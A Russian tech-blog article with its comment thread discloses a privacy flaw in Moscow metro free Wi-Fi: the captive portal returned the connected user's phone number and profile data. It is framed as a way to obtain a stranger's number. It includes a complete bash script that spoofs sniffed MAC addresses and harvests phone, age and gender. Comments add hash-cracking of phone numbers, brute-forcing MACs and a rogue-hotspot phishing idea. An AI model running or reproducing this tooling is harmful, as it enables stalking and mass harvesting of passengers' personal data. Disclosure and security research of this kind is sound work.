H Как уже снова не получить телефон (почти) любой красотки в Москве, или интересная особенность MT_FREE Из песочницы

UPD0 14.03 8:21 — Телефон больше не получить. Остальные интересные данные пока остались.


UPD1 14.03 10:39 — Дабы не очернять ребят из саппорта MaximaTelecom: Сообщил о ней я окольными путями, но раз пять переспросил и уточнил, дошло ли моё письмо до адресата — короче говоря, убедился, что оно у эфемерного (имена просили молчать) ответственного за вафли лица в метро. Я признаю, что это тупо, но цепочка "проблема в мосметро" → "у меня уже были связи со всяким мос, надо позвонить им" мне показалась весьма и весьма логичной в момент обнаружения уязвимости.


UPD2 14.03 15:40 — Уязвимость была найдена в uid Antxak — суть в том, что в uid лежит md5 телефона без соли. Снова можно искать телефоны.


Пример намайненного телефона

image


UPD3 14.03 18:55 — Уязвимый хэш в uid был заменен на тот же, что и в телефоне. Пока не раскололи последний.


UPD4 15.03 20:51 — Значения и ключи почти всех полей были заменены на предположительно обфускованные.


Пример для UPD4
"f1509df640" : "2808dfd5",
   "groups" : [
      "cppk_basic",
      "mck_basic",
      "mosmetro_premium",
      "mgt_basic",
      "mosmetro_basic"
   ],
   "c760cf1502" : "1c0066f3",
   "2147e37a8a" : "159961e5",
   "5777de2cd9" : "fd5a4e2f",
   "tags" : [
      "analytics_742_k2",
      "analytics_808",
      "analytics_342",
      "analytics_360",
      "analytics_403",
      "analytics_571_4",
      "analytics_693_altufyevo"
   ],
   "843539b896" : "",
   "857696ce09" : "a5ff55e9",
   "train" : "",
   "5e97672e80" : "7dce1b03",
   "cec952789d" : null,
   "dmpSegments" : [],
   "place" : "",
   "f4befe4ab6" : "144:149",

Сеттинг


В Московском метрополитене есть такая замечательная вещь, как бесплатный вайфай.
Единственное, что вам нужно, чтобы войти в него — это ввести свой номер телефона. И так как метро — штука хоть и удобная, но зачастую долгая, бесплатной сетью пользуются практически все. В этом интересном мире нам понравилась девушка за столом напротив.


Небольшая уязвимость


Авторизация в этой сети привязывается по мак-адресу, который всегда можно сменить — например на любой пойманный в воздухе вокруг. Поймать мак-адреса можно, например, утилитой airodump-ng. Иногда даже можно войти в wi-fi не смотря рекламу, если реальный владелец мак-адреса оплатил премиум-доступ.


Слив данных о самом себе


Но если вы не в числе оплативших wi-fi, то вас при подключении поприветствует страничка auth.wi-fi.ru. Помимо рекламы, эта страничка отдает один интересный json, который содержит кучу интересной информации о текущем подключенном пользователе.


Даже если вы оплатили премиум-доступ, эту страничку всегда можно открыть, просто вбив в браузере адрес.


Много интересной информации
{
   "dmpSegments" : [],
   "clicker_status" : -1,
   "gender" : "F",
   "place" : "",
   "premium_groups" : {
      "premium_vip_status" : -1,
      "mosmetro_premium_short_status" : -1,
      "mosmetro_premium_status" : 1
   },
   "line_id" : "99",
   "family_status" : "not married",
   "autoapp_status" : 0,
   "premium" : true,
   "autoapp_user" : null,
   "age" : "4500",
   "interests" : "307",
   "train" : "",
   "device_price" : "",
   "mac" : "98-00-**-**-b3-66",
   "ip" : "10.120.193.191",
   "groups" : [
      "cppk_basic",
      "mosmetro_premium",
      "mgt_basic",
      "mosmetro_basic"
   ],
   "home_station" : "192:193",
   "msisdn" : "7925*****03",
   "occupation" : "student",
   "profit" : "medium",
   "clicker" : null,
   "tags" : [
      "yandex.taxi",
      "obed",
      "coffee",
      "analytics_742_k2",
      "analytics_784_dns"
   ],
   "avocation" : "oywh4JCyQYOMHLy8ZM5AXqMZNhal0pDJl-OqBtuq09T5oBLS44GveLog8sWGm3ILB81zUC0mvW_l51J9ykx1kA==",
   "current_station" : null,
   "mnc" : "02",
   "uid" : "********",
   "job_station" : "57",
   "groups_data" : {
      "mosmetro_basic" : {
         "endDate" : null,
         "state" : 1
      },
      "mosmetro_premium" : {
         "state" : 1,
         "endDate" : null
      },
      "mgt_basic" : {
         "state" : 1,
         "endDate" : null
      },
      "cppk_basic" : {
         "endDate" : null,
         "state" : 1
      }
   }
}

Замечу, что номер телефона не закрыт звездочками в реальных данных.


И, собственно, как узнать номер красотки


Я почти уверен, что все вы догадались, как пойдет наш сценарий.


Ева очень хочет узнать телефон Алисы за столом напротив (forbidden love!). Как и большинство людей в Москве, пользуясь телефоном, Алиса так же пользуется и сетью MT_FREE.


Ева следит за Алисой некоторое время, и узнает её MAC с помощью утилиты airodump-ng, широко доступной и работающей практически на любой вафельнице. Узнав его, она следует в метро, меняет свой мак на мак Алисы, открывает страничку auth.wi-fi.ru и получает желанный номер.


Мне лень даже проверять это


Но постой, потенциальная Ева! Чтобы упростить труд перебирания десятков маков из забегаловки в поиске телефона твоем кропотливом исследовании безопасности wi-fi, я сделал небольшой скрипт! Его ты сможешь найти внизу статьи.


To be continued?


Работает получение данных о юзере пока только в метро, т.к удаленно у меня ещё не получилось убедить сервер в том, что мак у меня не 00:00:00:00:00:00. Раньше была возможность передавать мак в параметре client_mac, но аналога я пока не нашел.


Дисклеймер


Я сообщил об уязвимости (наверняка это делали до меня, эта штука очевидна до нельзя) неделю назад, и так и не получив никакого ответа, решил раскрыть её тут.


Всё описанное выше дисклеймера написано от лица вымышленного персонажа, и является художественной литературой. Его мотивы не совпадают с моими, и я это делаю исключительно в исследовательских целях. И даже не особо понимаю, что мне делать с телефоном красотки, которая мне его не дала.


Я не буду показывать на руководство пользования airodump-ng, чтобы не снизить уровень вхождения совсем до нуля.


Скрипт


Для тех, кому просто посмотреть
#!/bin/bash
# script for finding userdata from a list of macs.
# for educational purposes only, of course.

! sudo -p "we require sweet root juices to run, please let us in: " echo -n && exit 1

INPUT=$1
SSID=MT_FREE
DEV=${2:-wlp1s0}
OUTDIR=check-`date +%d-%m-%yT%H:%M:%S`

[ ! -e $INPUT ] && { echo 'no input'; exit 1; }
[ -z $SSID ] && { echo 'no connection'; exit 1; }

function progress() { echo -ne "\033[K"$1"\033["${#1}"D"; }
function status() { echo -e "\033[K$1"; }

function current_userdata() {
    rm .ck 2> /dev/null
    curl --retry 3 -s -b .ck -c .ck 'https://auth.wi-fi.ru/auth?segment=metro' > /dev/null 2>&1
    curl --retry 3 -s -b .ck -c .ck 'https://auth.wi-fi.ru/auth?segment=metro&mac=ff-00-00-00-00-00' 2>/dev/null | grep userData | grep -oP '(?<=JSON.parse\(\").*?(?=\")' | sed 's/\\&quot;/"/g' | json_pp
    rm .ck
}

function oui() {
    MAC=$1
    if [ -e /var/lib/ieee-data/oui.txt ]; then
        OUIMAC=${MAC//:}
        OUIMAC=${OUIMAC[@]:0:6}
        MACINFO=`grep $OUIMAC /var/lib/ieee-data/oui.txt`
        # getting naame (it's always 22 symbols away from the start)
        MACINFO=${MACINFO[@]:22}
        # removing \r on the end
        echo -n ${MACINFO[@]:0:-1}
    fi
}

tput civis

function on_exit() {
    tput cnorm
    echo "turning wifi back on"
    nmcli dev set $DEV managed true
    nmcli dev set $DEV autoconnect true
}

trap on_exit EXIT

mkdir $OUTDIR

echo "turning wifi on $DEV off for nmcli for now"

# turning it off in nmcli
nmcli dev set $DEV managed false >/dev/null 2>&1
nmcli dev set $DEV autoconnect false  >/dev/null 2>&1

for MAC in $(cat $INPUT); do
    echo -en "\033[2m"$MAC"\033[0m"' : '

    progress "switching..."
    sudo iw dev $DEV disconnect 2>/dev/null
    sudo ip link set $DEV down
    if ! sudo ip link set $DEV address $MAC > /dev/null 2>&1; then
        status "failed to set mac?"
        echo $MAC >> $OUTDIR/not-macs.txt
        continue
    fi
    sudo ip link set $DEV up

    progress "connecting..."

    CON_SUCCESS=
    for try in {1..3}; do
        progress "try $try..."
        if sudo iw dev $DEV connect -w $SSID | grep connected >/dev/null 2>&1 ; then
            CON_SUCCESS=1
            break
        fi
    done

    if ! [ $CON_SUCCESS ]; then
        status "failed to connect to wi-fi"
        echo $MAC >> $OUTDIR/no-assoc-macs.txt
        continue
    fi

    progress "getting ip..."

    if ! sudo dhclient -1 $DEV; then
        status "DHCP failed"
        echo $MAC >> $OUTDIR/no-ip-macs.txt
        continue
    fi

    progress "userdata..."

    USERDATA=$OUTDIR/$MAC-userdata.txt
    current_userdata 2>/dev/null > $USERDATA

    if [ -s $USERDATA ]; then

        AGE=`cat $USERDATA | grep -Po '(?<=age\"\ \:\ \").*?(?=\")'`
        PHONE=`cat $USERDATA | grep -Po '(?<=msisdn\"\ \:\ \").*?(?=\")'`
        PREMIUM=`cat $USERDATA | grep -Po '(?<=premium\"\ \:\ )\w*'`
        GENDER=`cat $USERDATA | grep -Po '(?<=gender\"\ \:\ \").*?(?=\")'`
        OUI=`oui $MAC`

        # just adding some more highlight to that sweet mark of ad-free wifi mac goodness
        if [ $PREMIUM == true ]; then
            PREMIUM="\033[32;1mtrue\033[0;36m"
            echo $MAC >> $OUTDIR/good-macs.txt
        fi

        status "got userdata \033[36m{ msisdn: ${PHONE}, age group ${AGE}, gender: ${GENDER}, premium: ${PREMIUM}, vendor: $OUI }\033[0m "
    else
        status "no userdata"
        rm $USERDATA
        echo $MAC >> $OUTDIR/no-reg-macs.txt
    fi

done

Пример работы

Пример работы скрипта


Ссылка на скрипт в GitHub Gist


Для работы скрипта из зависимостей нужен только curl, json_pp, и желательно иметь новый oui.txt в /var/lib/ieee-data/ (скачать отсюда)


Использование: ./checkmacs.sh (файл с маками на каждой строке) [интерфейс]
По умолчанию используется интерфейс wlp1s0.


./checkmacs.sh get-userdata возвращает данные юзера по текущему подключению


Спасибо за прочтение!


UPD: обновил зависимости
UPD: заменил ifconfig на ip (спасибо, bykvaadm ), добавил возможность смены интерфейса без изменения скрипта

+129
~129000

комментарии (96)

+3
Revertis ,   * (был изменён)
То есть, в идеале, любой человек может спокойно собирать базу всех пассажиров метро, у кого какой номер (и марка) телефона, пол, семейное положение, род занятий, где живёт, где работает, в какую возрастную группу входит и так далее. Замечательно!
+3
cab404 ,  
Займет это довольно таки мучительно долго, но в принципе легко распараллелить нагрузку на несколько usb-wifi карт, одной собирая маки и другими их проверяя. Если бы я нашел всё же способ представится под любым маком, то статья бы уже назвывалась "«Watch Dogs: Москва», или приложение для самых быстрых знакомств". Ну и был бы не скрипт, а полноценное Android-приложение.
0
+1 –1
Revertis ,  
Ну так их можно брутфорсом генерировать. Там ведь кусок мака это код производителя. Можно прикинуть сколько их там будет… Ну штук 20 для начала. А остальные биты перебирать.
Прямо вот так:
1. Поставил новый сгенерированный мак
2. Подключился к сети
3. Стянул JSON
4. Записал в мини-базу типа sqlite, например
5. goto 1

Это можно делать с любого рутованного телефона, не вынимая из кармана. Только powerbank подключить желательно :)
+2
cab404 ,  

Есть одим маленький нюанс у брутфорса — в лучшем случае слив информации (переключение/запрос) занимает полсекунды. Всего вариантов 2^8^6 на одного вендора, ну и соответственно 2^8^5 секунд на перебор. когда я вбил эти цифры в калькулятор он выдал мне улыбающуюся рожицу

+1
cab404 ,  
Не успел добавить в предыдущий коммент

image


Короче говоря, лучшим вариантом будет скорее сидение на пересадках рода библиотеки, и соберать там действительно релевантные маки.

+2
Revertis ,  
У меня получилось 2^24 = 194 дня (на одного вендора) если за секунду подключиться и слить JSON.
Мак ведь 6 байт занимает, 3 байта код вендора, а три байта код устройства.
Распараллелить скачивание JSON'ов и проблема решена.
Плюс, конечно, можно и маки собирать, чтобы ускорить их «проверку».
+1
cab404 ,   * (был изменён)
Моя ошибка, посчитал 6 символов как 6 байт, да.
Всё равно я стою на своем, что таким образом всё, что мы получим — высокую нагрузку на сеть и 99% неиспользованных маков. Плюс не факт, что уязвимость столько продержится.
+2
VProtoss ,  
Вы забываете о том, что телефоны от надкусанного яблока при каждом подключении к сети меняют свой мак, код вендора тот же, а оставшаяся часть меняется. Вроде как самсунги тоже на такое перешли, не знаю точно. Таким образом, при снифе данных может получиться хорошая такая каша из большого количества маков на одного человека, или несколько человек на одном маке, или всё вместе.
0
darii ,  
Не знал об этом. А есть спецификации, где это поведение описано?
0
megazloj ,  
Не сталкивался с таким. Может это на совсем «последних» яблоках? Пятерка и iPad Pro с одним и тем же всегда подключаются.
0
VProtoss ,  
Как минимум, с iOs 8, новость была ещё в 14м году. geektimes.ru/post/243599
+2
Phaker ,  

Меняют не при подключении, а при сканировании и только для неизвестных сетей. Когда автоматом подключаются к известной — показывают честный MAC. Можно на тот же MT_FREE их ловить, ведь нам как раз нужны те, кто им пользуется.

0
kalininmr ,   * (был изменён)
то есть им нельзя пользоваться если вайфай сеть пускает по маку?..

как то странновато…
0
DuD ,  
При подключении к известной сети используется честный MAC.
0
kalininmr ,  
а подменить «известную» ежели?
0
DuD ,  
это был ответ на вопрос про фильтрацию по MAC :)
Если подменить известную, тут надо посмотреть как ios проверяет известность по имени или по mac точки. Хотя если заморочиться то и MAC точки можно сменить…
0
Nikobraz ,  
Я думаю логичным вариантом будет перебирать MAC адреса PCT Айфонов последних 3 поколений.
+11
twelve ,  
В условиях обслуживания MT_FREE наверняка же есть что-то про то, что вы разрешаете передавать свои персданные третьим лицам? Ну вот — просто эти третьи лица не обязательно рекламодатели, а могут быть хоть кто.
0
postgres ,  
Круто, попробую посмотреть что-нибудь о себе.
+1
cab404 ,   * (был изменён)
Можешь просто запустить функцию `current_userdata` из скрипта — она вытаскивает данные.
+9
Mergul ,  
Интересно, какая полнота у этой всей юзердаты и откуда конкретно она берётся. Ясно, что home_station и work_station довольно легко отклассифицировать просто по истории перемещений, а откуда берётся family_status или occupation, например?
0
F0iL ,   * (был изменён)
Два мака появляются и исчезают часто одновременно? Значит, состоят в отношениях или женаты.
Один из регулярных пунктов назначения находится около какого-нибудь большого вуза, а второй около общежитий, и время суток примерно совпадает? Значит студент. В 8.00-10.00 каждый день едет «туда», а в 17.00-19.00 «обратно»? Скорее всего, работающий. И т.д.
+2
LexS007 ,  
Cлишком сложно и слишком примерно. У них подключены же аналитические сервисы, наверняка могут получить такую инфу от них
+2
LexS007 ,  
скорее всего по истории переходов по страницам из соц. сетей тянут инфу
+1
F0iL ,  
В соц. сетях сейчас обычно все по HTTPS, поэтому «со стороны» без MitM подсмотреть, по каким страницам ходит пользователь не так-то просто.
Разве что только если явно сотрудничать с ресурсами в целях сбора данных.
0
QDeathNick ,  
Я помню, при регистрации указывал всякие личные данные, пол, интересы, возможно и статус. Видимо оттуда и берутся.
0
random1st ,  
Берем самые распространенные вендоры чипов в телефонах, опа — первые 6 байт есть. Понеслась дальше.
+1
cab404 ,   * (был изменён)
Для этого и есть oui.txt — там содержатся зарегестрированные в IEEE вендоры телефонов вместе с их первыми шестью байтами. Или ты имеешь в виду брутом пройтись по всем остальным шести байтам?
–10
+2 –12
whiplash ,  
Товарищи #поибэ

А расскажите пожалуйста, что пытаются выцепить из трафика скрипт-киддисы с сетью MT_FREE_ в метро? Вроде всё важное в https давно. Или ssl stripping и т.д.?
+11
ZetaTetra ,  
MAC адрес мальца ниже чем SSL/TLS.

en.wikipedia.org/wiki/OSI_model
0
Psychosynthesis ,  
Помимо рекламы, эта страничка отдает один интересный json, который содержит кучу интересной информации о текущем подключенном пользователе.

Есть идеи как этот json посмотреть с телефона? Вроде в хроме мобильном нет инструментов разработчика?
+2
cab404 ,   * (был изменён)

Там всё равно работает view-source, насколько я помню. Вбей мануально в адресную строку view-source:http://auth.wi-fi.ru/auth.

0
Psychosynthesis ,  
Ну, кстати да, спасибо. Странно что они это из меню убрали.
+1
ClearAirTurbulence ,  
offtopic
И так как метро — штука хоть и удобная, но зачастую долгая, бесплатной сетью пользуются практически все.

Не знаю как все, но после того, как MT_FREE начали сбрасывать коннект чуть ли не каждые пять минут, чтобы показать свою рекламу снова, пришлось от них отказаться; благо, почти везде (по крайней мере, где я бываю) в метро работает сотовой интернет, где-то лучше, где-то хуже.
+1
dmitryredkin ,   * (был изменён)
0
cab404 ,   * (был изменён)

Честно скажу, что su -c "ifconfig hw ether {один из интересных маков с premium: true}" после включения wi-fi модуля работает лучше практически любого решения, т.к особо нет вариантов защититься от смены мака.
Но таких интересных маков скорее всего нет на моей странице vk.

+2
+3 –1
bykvaadm ,  
Честно скажу, что советовать пользоваться deprecated-утилитами плохо.

ip link set eth0 address 02:01:02:03:04:08
0
cab404 ,  
Не знал, что он устарел – спасибо, исправлю скрипт!
0
bykvaadm ,  
Вы, видимо еще не устанавливали свежий debian 9 (который вышел еще в прошлом году). В его release notes было даже в явном виде указано, что ifconfig вообще теперь по-умолчанию выпилен из системы. По факту, статус deprecated ifconfig получил еще лет 5 назад, все это время людям говорили что надо с него уходить…

5.3.9. net-tools will be deprecated in favor of iproute2

The net-tools package is no longer part of new installations by default, since its priority has been lowered from important to optional. Users are instead advised to use the modern iproute2 toolset (which has been part of new installs for several releases already).
0
ZetaTetra ,   * (был изменён)
AdBlock+ на FF тоже решает проблему с рекламой. И пока без банов.
0
PEgorov ,  
В последние пару недель с ним стали бороться — периодически на телефон прилетает дневной бан.
+5
decomeron ,  

Значит у некрасивой нельзя. Ура!

0
QDeathNick ,  
Судя по скрину с примером там вообще одни мужчины.
+1
cab404 ,   * (был изменён)
Чтобы людям было чуточку интереснее, я добавлю сюда небольшой файл с мак-адресами. На нем вы можете проверить работу скрипта.
+1
cab404 ,  
Из МаксимаТелеком уведомили в ЛС, что уязвимость устранена. Кто-нибудь в метро?
0
borisovEvg ,  

Злосчастный json на месте

+2
cab404 ,  
Но телефона в нем больше нет, что уже радует. Теперь нам не удасться узнать, как позвонить красотке, но у нас всё ещё есть возможность узнать, что она предпочтет на день рождения и где её можно поджидать.
Насколько я понял, они заменили номер телефона на его хэш.
+2
Akon32 ,  
они заменили номер телефона на его хэш

При известном алгоритме и отсутствии соли номер определить теоретически несложно.

0
Oxoron ,  
А алгоритм можно попробовать определить используя свой номер (и полученный хеш от него).
+3
cruzo ,  
Жаль, что за такой big bounty уведомление пришло в ЛС, а не на номер 900 и, минимум, с четырьмя нулями.
+1
vconst ,  
Подписку хоть подарили?..
0
cab404 ,  
Я не думаю, что сейчас им до подписок, честно говоря. Да и зачем?
+1
vconst ,  
За уязвимости принято благодарить не только спасибой…
–5
+2 –7
fukkit ,  
То есть, красоток вы боитесь, а ст.ст. 137,272 УК РФ нет?
+2
+4 –2
Oxoron ,  
Ну как вам сказать
image
0
artivashenko ,  
Какие-то ребята делают сервис Wi-Fi в метро, монетизируют его и при этом, считай, распространяют ПД пользователя из-за собственного слабоумия? Разве как раз таким штраф/статья не полагается?))
0
ParadoxFilm ,  

Сегодня пробовал в метро, вместо телефона теперь хеш:
"msisdn":"f5618b8ef6e2c7cde6f674da5e6d485329aa026607175a624b8aee7b9a0de97e"

0
ParadoxFilm ,  

Насколько можно судить, это SHA256.

+22
unwrecker ,  
Теперь телефоны красоток можно майнить
0
vlreshet ,  
Интересно, солёный ли. Иначе можно вполне себе быстро брутить при хорошем железе)
0
VProtoss ,  
Только что попробовал, 100К телефонов за 4 минуты, проц i5 2.67 GHz, загружено было только одно ядро на 13%. Можно легко сделать заранее небольшие таблицы хэш-телефон, и потом по ним искать. Или на впс где-нибудь рест-сервисом оформить. Размер данных на 100К записей — 7.7 Мб
0
manok ,  
Для номеров телефонов иметь такие таблицы смысла, имхо, нет. Hashcat может брутить SHA256 с очень большой скоростью, даже на моем слабом ноутбуке скорость около 115 миллионов хешей в секунду.
0
VProtoss ,  
Спасибо за инфу! А то я по-дилетантски скрипт на баше наваял…
0
manok ,  
Было бы удивительно, если бы не посолили :) проверил выше представленный хеш по маске 7(\d{10}) — нет результатов.
+8
Antxak ,  
Не тот хэш смотрите.
Поле «uid» — md5(номер телефона).
Причем БЕЗ соли.
Соответственно загоняете в онлайн радужную таблицу, например — www.md5online.org
И вуаля телефон ваш, задача усложнилась на посещение одного сайта.
Проверил на нескольких юзерах и своем телефоне.
0
LexS007 ,   * (был изменён)
У MaximaTelecom высококлассные спецы)
Напридумывают всякого, солить еще зачем-то
+3
a1ien_n3t ,   * (был изменён)
Ох как интересно. в поле uid и раньше лежал md5 телефон без соли. При этом еще присутствовал в открытом виде.
Теперь в msisdn видимо с солью sha256
Но uid они решили не менять…
+2
QDeathNick ,  
А чего раньше времени думать. Вот хабр умный, он подумает, они прочитают и посолят.
+1
ToshiruWang ,  
Следят за здоровьем — меньше соли, везде (но жизнь заставляет, судя по upd).
+2
Cheater ,  
> «family_status»: «not married»
> «occupation»: «student»

Эм, я чего-то не понимаю, откуда у провайдера данные по семейному положению и роду занятий? Пользователь их вносит при авторизации наряду с ФИО или телефоном? Какой в этом смысл, ФЗ126 же требует только паспортные данные/телефон?
0
LexS007 ,  
Смысл в персонализированной рекламе. Вопрос только зачем эта инфа шлется пользователю при подключении?
0
VProtoss ,  
Могут и просто по косвенным признакам/статистике передвижений насобирать. Опять же, через социалки можно много чего о человеке узнать.
0
nikolayv81 ,  

Если married то можно любую околопристойнойную рекламу показывать, а её у них навалом.

+1
Germanets ,  
Хм, а от запроса скриптом с другого сайта там защита-то есть? То есть вместо собирания кучи мак-адресов просто засовываем в популярный сайт скрипт, сопоставляющий пользователя с его данными из московского вайфая… Рекламщики такой инфе порадуются…
0
Tsvetik ,  
Да ну что вы, какие глупости. Как же тогда на популярном сайте премиум контент втюхивать?
0
Avenger911 ,  

Этому Same Origin Policy должна помешать

–1
batyrmastyr ,  
Ей только браузеры обязательно следуют, а на сервере нужно самому защиту писать. Из вроде как надёжных способов вспоминается только проверка по IP-адресам (диапазон + запрет на прокси).
+1
Avenger911 ,  
на сервере нужно самому защиту писать

В целом, конечно, да, но предложенный Germanets механизм требует, чтобы скрипт выполнился в браузере пользователя на сайте атакующего, получил данные с сайта метро и отправил их далее. Защита браузера не даст доступа к запрошенным данным.

–4
+1 –5
xFFFF ,  
Раньше тырил куки от контакта, одноклассников, fb и кучи других сайтов через DroidSheep. Можно было узнать не только номер красотки, но и почитать ее переписку ))) Сейчас большинство сайтов ввели защиту от этого.
+1
cab404 ,   * (был изменён)
Я честно не ожидал, что за четыре часа, которые пройдут, вы сможете просто взять и прошерстив эти данные, найти снова телефон. Сейчас иду в метро, проверять/менять пост. Спасибо за инфу, Antxak!
0
eugenebb ,   * (был изменён)
А если сделать свой hotspot с ssid MT_FREE и хорошим уровнем сигнала, сделать перенаправление на страничку похожую на auth.wi-fi.ru, и попросить девушку ввести свой телефон. Может и получится.
+6
QDeathNick ,  
Сколько геморроя для того, чтобы просто поговорить с девушкой, стоящей напротив :)
0
eugenebb ,   * (был изменён)
А если едут четыре красивых и все с WiFi, с одной начнёшь говорить, а с тремя остальными шанс упущен.

А так автоматизация процесса, главное чтобы старушки с WiFi не попались, или не дай ТНБ, ушлые старички.

Да, после некоторого раздумья, наверное с автоматизацией лучше повременить.
+2
0xd34df00d ,  
Ровно поэтому я с ними и не говорю. И никакого геморроя!
+3
+7 –4
PavelMSTU ,  
Ставь +1, если как я ни разу в жизни не заходил в публичную Wi-Fi сеть,
требующую ввести телефон.
0
TimsTims ,  

А использовать для этого специальную отдельную сим карту?

0
+1 –1
cab404 ,  
Если у кого-то нет доступа к московскому метро — я скачал wget -rом auth.wi-fi.ru и auth.wi-fi.ru/auth для своего mac-адреса. Телефон — 79017980642.
0
cab404 ,   * (был изменён)

В authorizat.bundle.js есть что-то похожее на расшифровку вещей из UPD4.
homeStationId:window.userData["104c52d70d"],jobStationId:window.userData.f4befe4ab6

0
cab404 ,  
Короче говоря, мне не особо удалось расшифровать данные, но зашифрованы только перечисляемые типы — т.е те, которые возможно все сохранить в виде списка ключ-значение на сервере. Между всеми клиентами они одинаковы, так что в принципе возможно сделать статистический анализ и найти что и что значит.
Ну либо сравнить со старыми данными.
0
Rulin ,  
> curl --retry 3 -s -b .ck -c .ck 'https://auth.wi-fi.ru/auth?segment=metro' > /dev/null 2>&1
> -b .ck

Интересно, кука с названием ".ck" и без значения, которая в хедере https запроса будет выглядеть как «Set-Cookie: .ck=», это специально такая закладка в скрипте чтоб майору легко вычислять хабра юзера собирающего приватные данные?

p.s.
кто не понял, вот ман на курл:

-b, --cookie <name=data>
(HTTP) Pass the data to the HTTP server as a cookie. It is sup‐
posedly the data previously received from the server in a «Set-
Cookie:» line. The data should be in the format «NAME1=VALUE1;
NAME2=VALUE2».
0
Rulin ,  
Хотя проверил на практике, поскольку нет знака равно (-b .ck=), то насамом деле curl просто игнорирует опцию -b и не отсылает куку без значения
0
cab404 ,   * (был изменён)

Это для проставления кук от сервера, без неё сервер скажет, что у нас печеньки отключены. И она открывает файл .ck.


If no '=' symbol is used in the argument, it is instead treated as a filename to read previously stored cookie from.

0
river-fall ,  
С номером телефона всё понятно (через него идёт авторизация), но объясните, пожалуйста, немосквичу, откуда у них данные по полу и возрасту?
0
Rudolfo ,  
Рынок bigdata этим сейчас и ценен. По каждому пользователю можно составить его цифровой профиль, основываясь на запросах, интересах и поведении. Имея такой профиль, его можно с высокой вероятностью отыскать в следующий раз, не спрашивая информации о нём.
0
cab404 ,   * (был изменён)

UPD: Добавил в gist маппинги для некоторых кусков данных, так как мне надоело ждать их ответ на то, что данные легко поддаются статистическому анализу.

0
cab404 ,   * (был изменён)
5777de2cd9          age                 
7ef6265d            4500                
0ae09acd            3544                
c40467ec            1217                
00f0d9de            1824                
fd5a4e2f            2534 
3d2e2a0d80          profit             
785d323e            low                 
85ebdc3d            high                
b8a058b4            medium 
cb19ed6f70          occupation     
1d049b46            student             
78051d61            unemployed          
4294e679            housewife
5e97672e80          family_status              
b2ccc4af            not married         
d858a4ad            active search       
7dce1b03            married